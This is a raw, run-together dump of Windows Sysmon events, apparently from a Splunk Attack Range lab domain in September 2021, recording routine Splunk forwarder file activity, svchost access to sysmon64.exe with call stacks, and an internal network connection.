AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016738Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.714{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BE464C8C2B21A7467ED22E1B56781778,SHA256=5BCFD9E5293484538802C173CC422AC8867CA2F55635F321D1BBBDB646E69E10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016737Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.714{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3EBEF6A8511A150F121F6F20E109CCF2,SHA256=699E471266DBEE027AD7164106B22155C41E13D5A9842AF0DF02AB8D833D4EAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016736Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.714{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BFFAD864A6892EAA01955BF09D1DE9E,SHA256=083565C8D1AA7130BFA09B03C151C5F86DDCCE1C10E7790E69D47A1832FD73AA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:30.415{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59616-false10.0.1.12-8000- 23542300x800000000000000052429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:32.246{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=837EFC2C91ECBCD3BA5AF35C805ADE41,SHA256=56EA6EFEBB0D5C56730EFCD78D2BBA66E46A8CFB12C8284EAF4B2A552AEBE8B0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016735Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.448{625C326B-7310-613B-0605-00000000F101}32482424C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016734Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7310-613B-0605-00000000F101}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016733Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016732Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016731Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016730Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016729Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016728Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016727Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016726Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016725Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7310-613B-0605-00000000F101}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016724Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016723Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.245{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7310-613B-0605-00000000F101}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016722Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:32.246{625C326B-7310-613B-0605-00000000F101}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:32.078{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=AD362FCA5F5AB9FAFB8BE8B7E704FDB5,SHA256=5C7C7CB39D914900D67F1577345F04E0FBA4315DBD6EF4BB1FA1E4477B8D22C1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016767Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.948{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BE464C8C2B21A7467ED22E1B56781778,SHA256=5BCFD9E5293484538802C173CC422AC8867CA2F55635F321D1BBBDB646E69E10,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016766Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7311-613B-0805-00000000F101}2684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016765Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016764Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016763Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016762Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016761Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016760Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016759Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:33.854{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016758Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 